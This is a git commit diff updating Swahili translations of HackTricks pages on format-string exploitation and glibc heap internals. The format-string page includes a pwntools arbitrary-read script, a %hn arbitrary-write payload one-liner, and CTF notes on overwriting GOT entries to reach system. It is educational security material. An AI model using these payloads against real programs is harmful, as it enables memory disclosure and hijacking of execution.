Translated ['binary-exploitation/format-strings/README.md', 'binary-expl

This commit is contained in:
Translator 2024-11-12 12:22:46 +00:00
parent e2c657791e
commit 8e774be4f7
98 changed files with 813 additions and 786 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.1 KiB

After

Width:  |  Height:  |  Size: 131 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 131 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 708 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 708 KiB

After

Width:  |  Height:  |  Size: 287 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 287 KiB

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

After

Width:  |  Height:  |  Size: 216 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 216 KiB

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 418 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 418 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 62 KiB

After

Width:  |  Height:  |  Size: 59 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 154 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 271 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 271 KiB

After

Width:  |  Height:  |  Size: 105 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 105 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 461 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 461 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.8 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.5 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 112 KiB

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 22 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 MiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

After

Width:  |  Height:  |  Size: 262 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 262 KiB

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 56 KiB

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 284 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 284 KiB

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 40 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 138 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 96 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 453 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 453 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

After

Width:  |  Height:  |  Size: 160 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 KiB

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 210 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 210 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.1 KiB

After

Width:  |  Height:  |  Size: 86 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1 MiB

After

Width:  |  Height:  |  Size: 594 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 594 KiB

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

After

Width:  |  Height:  |  Size: 3.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.5 KiB

After

Width:  |  Height:  |  Size: 551 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

After

Width:  |  Height:  |  Size: 82 KiB

View file

@ -1,8 +1,8 @@
# Format Strings
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,16 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Information
Katika C **`printf`** ni kazi inayoweza kutumika **kuchapisha** maandiko fulani. **Parameta ya kwanza** ambayo kazi hii inatarajia ni **maandishi halisi yenye waandishi wa fomati**. **Parameta zinazofuata** zinazotarajiwa ni **thamani** za **kuchukua nafasi** waandishi wa fomati kutoka kwa maandiko halisi.
Katika C **`printf`** ni kazi inayoweza kutumika **kuchapisha** maandiko fulani. **Parameta ya kwanza** ambayo kazi hii inatarajia ni **maandishi halisi yenye waandishi wa fomati**. **Parameta zinazofuata** zinazotarajiwa ni **thamani** za **kuchukua nafasi** ya **waandishi wa fomati** kutoka kwa maandiko halisi.
Kazi nyingine zenye udhaifu ni **`sprintf()`** na **`fprintf()`**.
@ -88,12 +87,12 @@ na kusoma moja kwa moja ya nne.
Kumbuka kwamba mshambuliaji anadhibiti `printf` **parameta, ambayo kimsingi inamaanisha kwamba** ingizo lake litakuwa kwenye stack wakati `printf` inaitwa, ambayo inamaanisha kwamba anaweza kuandika anwani maalum za kumbukumbu kwenye stack.
{% hint style="danger" %}
Mshambuliaji anayekontrol ingizo hili, ataweza **kuongeza anwani yoyote kwenye stack na kufanya `printf` iwasiliane nazo**. Katika sehemu inayofuata itafafanuliwa jinsi ya kutumia tabia hii.
Mshambuliaji anayekontrol ingizo hili, ataweza **kuongeza anwani zisizo za kawaida kwenye stack na kufanya `printf` izifike**. Katika sehemu inayofuata itafafanuliwa jinsi ya kutumia tabia hii.
{% endhint %}
## **Kusoma Bila Mpangilio**
Inawezekana kutumia formatter **`%n$s`** kufanya **`printf`** ipate **anwani** iliyoko katika **n nafasi**, ikifuatia na **kuichapisha kana kwamba ni string** (chapisha hadi 0x00 ipatikane). Hivyo ikiwa anwani ya msingi ya binary ni **`0x8048000`**, na tunajua kwamba ingizo la mtumiaji linaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary kwa:
Inawezekana kutumia formatter **`%n$s`** kufanya **`printf`** ipate **anwani** iliyoko katika **n nafasi**, ikifuatia na **kuichapisha kana kwamba ni string** (chapisha hadi 0x00 ipatikane). Hivyo kama anwani ya msingi ya binary ni **`0x8048000`**, na tunajua kwamba ingizo la mtumiaji linaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary kwa:
```python
from pwn import *
@ -107,7 +106,7 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
Kumbuka kwamba huwezi kuweka anwani 0x8048000 mwanzoni mwa ingizo kwa sababu mfuatano utawekwa katika 0x00 mwishoni mwa anwani hiyo.
Kumbuka kwamba huwezi kuweka anwani 0x8048000 mwanzoni mwa ingizo kwa sababu mfuatano utawekwa kwenye 0x00 mwishoni mwa anwani hiyo.
{% endhint %}
### Pata offset
@ -149,14 +148,14 @@ p.close()
### Jinsi inavyofaa
Kusoma kwa bahati kunaweza kuwa na manufaa kwa:
Kusoma bila mpangilio kunaweza kuwa na manufaa kwa:
* **Kutoa** **binary** kutoka kwenye kumbukumbu
* **Kufikia sehemu maalum za kumbukumbu ambapo** **info** nyeti inahifadhiwa (kama vile canaries, funguo za usimbaji au nywila za kawaida kama katika hii [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
* **Kufikia sehemu maalum za kumbukumbu ambapo** **info** nyeti inahifadhiwa (kama vile canaries, funguo za usimbuaji au nywila za kawaida kama katika [**changamoto ya CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Kuandika kwa Bahati**
## **Kuandika Bila Mpangilio**
Formatter **`%<num>$n`** **inaandika** **idadi ya bytes zilizandika** katika **anwani iliyoonyeshwa** katika param ya \<num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika herufi nyingi kadri atakavyo kwa printf, atakuwa na uwezo wa kufanya **`%<num>$n`** kuandika nambari ya bahati katika anwani ya bahati.
Formatter **`%<num>$n`** **inaandika** **idadi ya bytes zilizandikwa** katika **anwani iliyoonyeshwa** katika param ya \<num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika herufi nyingi kadri atakavyo kwa printf, atakuwa na uwezo wa kufanya **`%<num>$n`** kuandika nambari isiyo na mpangilio katika anwani isiyo na mpangilio.
Kwa bahati nzuri, kuandika nambari 9999, si lazima kuongeza 9999 "A"s kwenye ingizo, ili kufanya hivyo inawezekana kutumia formatter **`%.<num-write>%<num>$n`** kuandika nambari **`<num-write>`** katika **anwani inayotolewa na nafasi ya `num`**.
```bash
@ -197,7 +196,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
### Pwntools Template
Unaweza kupata **kigezo** cha kuandaa exploit kwa aina hii ya udhaifu katika:
Unaweza kupata **templeti** ya kuandaa exploit kwa aina hii ya udhaifu katika:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
@ -236,23 +235,21 @@ Inawezekana kutumia vitendo vya kuandika vya udhaifu wa format string ili **kuan
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, no canary, nx, no pie, format string kuandika anwani `fflush` na kazi ya ushindi (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, no canary, nx, no pie, format string kuandika anwani ndani ya main katika `.fini_array` (ili mtiririko urudi nyuma mara moja zaidi) na kuandika anwani kwa `system` katika jedwali la GOT linaloelekeza kwa `strlen`. Wakati mtiririko unaporudi kwenye main, `strlen` inatekelezwa kwa pembejeo ya mtumiaji na kuelekeza kwa `system`, itatekeleza amri zilizopitishwa.
* 32 bit, relro, no canary, nx, no pie, format string kuandika anwani ndani ya main katika `.fini_array` (ili mtiririko urudi nyuma mara moja zaidi) na kuandika anwani kwa `system` katika meza ya GOT ikielekeza kwa `strlen`. Wakati mtiririko unaporudi kwenye main, `strlen` inatekelezwa kwa pembejeo ya mtumiaji na ikielekeza kwa `system`, itatekeleza amri zilizopitishwa.
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<summary>Support HackTricks</summary>
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -10,15 +10,15 @@ Kama inavyoonyeshwa, iko tu baada ya ambapo binary inapo load kwenye kumbukumbu
### Basic Chunk Allocation
Wakati data fulani inapoombwa kuhifadhiwa kwenye heap, nafasi fulani ya heap inatengwa kwa ajili yake. Nafasi hii itakuwa ya bin na ni data iliyohitajika tu + nafasi ya vichwa vya bin + ofset ya ukubwa wa chini wa bin itahifadhiwa kwa chunk. Lengo ni kuhifadhi kumbukumbu kidogo iwezekanavyo bila kufanya iwe ngumu kupata kila chunk ilipo. Kwa hili, taarifa za metadata za chunk zinatumika kujua kila chunk iliyotumika/iliyopatikana ilipo.
Wakati data fulani inapoombwa kuhifadhiwa kwenye heap, nafasi fulani ya heap inatengwa kwa ajili yake. Nafasi hii itakuwa ya bin na ni data iliyohitajika + nafasi ya vichwa vya bin + ofset ya ukubwa wa chini wa bin itahifadhiwa kwa chunk. Lengo ni kuhifadhi kumbukumbu kidogo iwezekanavyo bila kufanya iwe ngumu kupata kila chunk ilipo. Kwa hili, taarifa za metadata za chunk zinatumika kujua kila chunk iliyotumika/iliyopatikana ilipo.
Kuna njia tofauti za kutenga nafasi hasa kulingana na bin inayotumika, lakini mbinu ya jumla ni ifuatayo:
Kuna njia tofauti za kutenga nafasi kulingana na bin inayotumika, lakini mbinu ya jumla ni kama ifuatavyo:
* Programu inaanza kwa kuomba kiasi fulani cha kumbukumbu.
* Ikiwa katika orodha ya chunks kuna mtu anapatikana mkubwa wa kutosha kutimiza ombi, itatumika.
* Hii inaweza hata kumaanisha kwamba sehemu ya chunk inayopatikana itatumika kwa ombi hili na iliyobaki itaongezwa kwenye orodha ya chunks.
* Ikiwa hakuna chunk inayopatikana katika orodha lakini bado kuna nafasi katika kumbukumbu ya heap iliyotengwa, meneja wa heap anaunda chunk mpya.
* Ikiwa hakuna nafasi ya kutosha ya heap kutenga chunk mpya, meneja wa heap anaomba kernel kuongeza kumbukumbu iliyotengwa kwa heap na kisha kutumia kumbukumbu hii kuunda chunk mpya.
* Ikiwa katika orodha ya chunks kuna mtu anapatikana mkubwa wa kutosha kutimiza ombi, itatumika
* Hii inaweza hata kumaanisha kwamba sehemu ya chunk inayopatikana itatumika kwa ombi hili na iliyobaki itaongezwa kwenye orodha ya chunks
* Ikiwa hakuna chunk inayopatikana kwenye orodha lakini bado kuna nafasi kwenye kumbukumbu ya heap iliyotengwa, meneja wa heap anaunda chunk mpya
* Ikiwa hakuna nafasi ya kutosha ya heap kutenga chunk mpya, meneja wa heap anaomba kernel kuongeza kumbukumbu iliyotengwa kwa heap na kisha kutumia kumbukumbu hii kuunda chunk mpya
* Ikiwa kila kitu kinashindwa, `malloc` inarudisha null.
Kumbuka kwamba ikiwa **kumbukumbu iliyohitajika inapita kigezo fulani**, **`mmap`** itatumika kubaini kumbukumbu iliyohitajika.
@ -27,30 +27,30 @@ Kumbuka kwamba ikiwa **kumbukumbu iliyohitajika inapita kigezo fulani**, **`mmap
Katika **maombi ya multithreaded**, meneja wa heap lazima kuzuia **mashindano** ambayo yanaweza kusababisha ajali. Awali, hii ilifanywa kwa kutumia **mutex ya kimataifa** kuhakikisha kwamba ni thread moja tu inaweza kufikia heap kwa wakati mmoja, lakini hii ilisababisha **masuala ya utendaji** kutokana na kuzuiliwa kwa mutex.
Ili kushughulikia hili, allocator wa heap ptmalloc2 ilianzisha "arenas," ambapo **kila arena** inafanya kazi kama **heap tofauti** yenye **miundo** yake **mwenyewe** na **mutex**, ikiruhusu nyuzi nyingi kufanya operesheni za heap bila kuingiliana, mradi tu watumie arenas tofauti.
Ili kushughulikia hili, allocator wa heap ptmalloc2 ilianzisha "arenas," ambapo **kila arena** inafanya kazi kama **heap tofauti** yenye **miundo** yake **ya data** na **mutex**, ikiruhusu nyuzi nyingi kufanya operesheni za heap bila kuingiliana, mradi tu watumie arenas tofauti.
Arena ya "muhimu" inashughulikia operesheni za heap kwa maombi ya nyuzi moja. Wakati **nyuzi mpya** zinapoongezwa, meneja wa heap anawapa **arenas za sekondari** ili kupunguza ushindani. Kwanza inajaribu kuunganisha kila nyuzi mpya na arena isiyotumika, ikiumba mpya ikiwa inahitajika, hadi kikomo cha mara 2 ya idadi ya nyuzi za CPU kwa mifumo ya 32-bit na mara 8 kwa mifumo ya 64-bit. Mara kikomo kinapofikiwa, **nyuzi lazima zishiriki arenas**, na kusababisha ushindani wa uwezekano.
Tofauti na arena ya msingi, ambayo inapanuka kwa kutumia wito wa mfumo wa `brk`, arenas za sekondari zinaunda "subheaps" kwa kutumia `mmap` na `mprotect` kuiga tabia ya heap, ikiruhusu kubadilika katika usimamizi wa kumbukumbu kwa operesheni za multithreaded.
Tofauti na arena ya msingi, ambayo inapanuka kwa kutumia wito wa mfumo wa `brk`, arenas za sekondari zinaunda "subheaps" kwa kutumia `mmap` na `mprotect` ili kuiga tabia ya heap, ikiruhusu kubadilika katika usimamizi wa kumbukumbu kwa operesheni za multithreaded.
### Subheaps
Subheaps hutumikia kama akiba ya kumbukumbu kwa arenas za sekondari katika maombi ya multithreaded, ikiruhusu kukua na kusimamia maeneo yao ya heap tofauti na heap kuu. Hapa kuna jinsi subheaps zinavyotofautiana na heap ya awali na jinsi zinavyofanya kazi:
1. **Heap ya Awali vs. Subheaps**:
* Heap ya awali iko moja kwa moja baada ya binary ya programu katika kumbukumbu, na inapanuka kwa kutumia wito wa mfumo wa `sbrk`.
* Subheaps, zinazotumiwa na arenas za sekondari, zinaundwa kupitia `mmap`, wito wa mfumo unaoelekeza eneo maalum la kumbukumbu.
* Heap ya awali iko moja kwa moja baada ya binary ya programu kwenye kumbukumbu, na inapanuka kwa kutumia wito wa mfumo wa `sbrk`.
* Subheaps, zinazotumiwa na arenas za sekondari, zinaundwa kupitia `mmap`, wito wa mfumo unaoelekeza eneo fulani la kumbukumbu.
2. **Hifadhi ya Kumbukumbu kwa kutumia `mmap`**:
* Wakati meneja wa heap anaunda subheap, anahifadhi block kubwa ya kumbukumbu kupitia `mmap`. Hifadhi hii haitoi kumbukumbu mara moja; inateua tu eneo ambalo michakato mingine ya mfumo au ugawaji haipaswi kutumia.
* Wakati meneja wa heap anaunda subheap, anahifadhi block kubwa ya kumbukumbu kupitia `mmap`. Hifadhi hii haitoi kumbukumbu mara moja; inateua tu eneo ambalo michakato mingine ya mfumo au hifadhi hazipaswi kutumia.
* Kwa kawaida, ukubwa wa hifadhi kwa subheap ni 1 MB kwa michakato ya 32-bit na 64 MB kwa michakato ya 64-bit.
3. **Upanuzi wa Polepole kwa kutumia `mprotect`**:
* Eneo la kumbukumbu lililotengwa awali linapewa alama kama `PROT_NONE`, ikionyesha kwamba kernel haitaji kutenga kumbukumbu halisi kwa nafasi hii bado.
* Ili "kukua" subheap, meneja wa heap anatumia `mprotect` kubadilisha ruhusa za ukurasa kutoka `PROT_NONE` hadi `PROT_READ | PROT_WRITE`, ikimhimiza kernel kutenga kumbukumbu halisi kwa anwani zilizotengwa hapo awali. Njia hii ya hatua kwa hatua inaruhusu subheap kupanuka kadri inavyohitajika.
* Mara subheap yote itakapokamilika, meneja wa heap anaunda subheap mpya ili kuendelea na ugawaji.
* Mara subheap yote itakapokamilika, meneja wa heap anaunda subheap mpya ili kuendelea na hifadhi.
### heap\_info <a href="#heap_info" id="heap_info"></a>
Strukt hii inatenga taarifa muhimu za heap. Aidha, kumbukumbu ya heap inaweza kuwa si ya mfululizo baada ya ugawaji zaidi, strukt hii pia itahifadhi taarifa hiyo.
Struktura hii inahifadhi taarifa muhimu za heap. Aidha, kumbukumbu ya heap inaweza kuwa si ya mfululizo baada ya hifadhi zaidi, struktura hii pia itahifadhi taarifa hiyo.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
@ -76,7 +76,7 @@ Katika kesi ya **`malloc_state`** structures za heaps za nyuzi, zinapatikana **n
Kuna mambo kadhaa ya kuvutia ya kuzingatia kutoka kwa muundo huu (angalia msimbo wa C hapa chini):
* `__libc_lock_define (, mutex);` Ipo ili kuhakikisha kwamba muundo huu kutoka kwa heap unafikiwa na nyuzi 1 kwa wakati
* `__libc_lock_define (, mutex);` Ipo ili kuhakikisha kwamba muundo huu kutoka kwa heap unafikiwa na nyuzi 1 kwa wakati mmoja
* Bendera:
* ```c
#define NONCONTIGUOUS_BIT (2U)
@ -88,8 +88,8 @@ Kuna mambo kadhaa ya kuvutia ya kuzingatia kutoka kwa muundo huu (angalia msimbo
```
* `mchunkptr bins[NBINS * 2 - 2];` ina **viungo** kwa **chunks za kwanza na za mwisho** za **bins** ndogo, kubwa na zisizo na mpangilio (the -2 ni kwa sababu index 0 haitumiki)
* Kwa hivyo, **chunk ya kwanza** ya bins hizi itakuwa na **kiungo cha nyuma kwa muundo huu** na **chunk ya mwisho** ya bins hizi itakuwa na **kiungo cha mbele** kwa muundo huu. Ambayo kimsingi inamaanisha kwamba ikiwa unaweza **kuvuja anwani hizi katika main arena** utakuwa na kiungo kwa muundo katika **libc**.
* Miundo `struct malloc_state *next;` na `struct malloc_state *next_free;` ni orodha za kuunganisha za arenas
* Chunk ya `top` ni "chunk" ya mwisho, ambayo kimsingi ni **nafasi yote iliyobaki ya heap**. Mara chunk ya juu inapokuwa "bila", heap imetumika kabisa na inahitaji kuomba nafasi zaidi.
* Struktura `struct malloc_state *next;` na `struct malloc_state *next_free;` ni orodha zilizounganishwa za arenas
* Chunk ya `top` ni "chunk" ya mwisho, ambayo kimsingi ni **nafasi yote iliyobaki ya heap**. Mara tu chunk ya juu inapokuwa "bila", heap inatumika kabisa na inahitaji kuomba nafasi zaidi.
* Chunk ya `last reminder` inatokana na hali ambapo chunk ya ukubwa sahihi haipatikani na kwa hivyo chunk kubwa inakatwa, sehemu ya kiungo iliyobaki inawekwa hapa.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -159,25 +159,25 @@ Kama ilivyotajwa hapo awali, vipande hivi pia vina metadata, ambayo inawakilishw
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
Metadata kawaida ni 0x08B ikionyesha ukubwa wa sasa wa kipande kwa kutumia bits 3 za mwisho kuonyesha:
Metadata kwa kawaida ni 0x08B ikionyesha ukubwa wa sasa wa kipande kwa kutumia bits 3 za mwisho kuonyesha:
* `A`: Ikiwa 1 inatoka kwenye subheap, ikiwa 0 iko kwenye eneo kuu
* `M`: Ikiwa 1, kipande hiki ni sehemu ya nafasi iliyotolewa na mmap na sio sehemu ya heap
* `P`: Ikiwa 1, kipande kilichopita kinatumika
* `A`: Ikiwa 1 inatoka kwenye subheap, ikiwa 0 iko kwenye arena kuu
* `M`: Ikiwa 1, kipande hiki ni sehemu ya nafasi iliyotengwa na mmap na si sehemu ya heap
* `P`: Ikiwa 1, kipande cha awali kinatumika
Kisha, nafasi ya data ya mtumiaji, na hatimaye 0x08B kuonyesha ukubwa wa kipande kilichopita wakati kipande kinapatikana (au kuhifadhi data ya mtumiaji wakati inatolewa).
Kisha, nafasi ya data ya mtumiaji, na hatimaye 0x08B kuonyesha ukubwa wa kipande cha awali wakati kipande kinapatikana (au kuhifadhi data ya mtumiaji wakati inatengwa).
Zaidi ya hayo, wakati inapatikana, data ya mtumiaji inatumika pia kubeba data fulani:
* **`fd`**: Kielekezi kwa kipande kinachofuata
* **`bk`**: Kielekezi kwa kipande kilichopita
* **`bk`**: Kielekezi kwa kipande cha awali
* **`fd_nextsize`**: Kielekezi kwa kipande cha kwanza katika orodha ambacho ni kidogo kuliko yenyewe
* **`bk_nextsize`:** Kielekezi kwa kipande cha kwanza katika orodha ambacho ni kikubwa kuliko yenyewe
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
{% hint style="info" %}
Kumbuka jinsi kuunganisha orodha kwa njia hii kunazuia hitaji la kuwa na array ambapo kila kipande kimoja kinarekodiwa.
Kumbuka jinsi kuunganisha orodha kwa njia hii kunazuia haja ya kuwa na array ambapo kila kipande kimoja kinarekodiwa.
{% endhint %}
### Kielekezi za Kipande
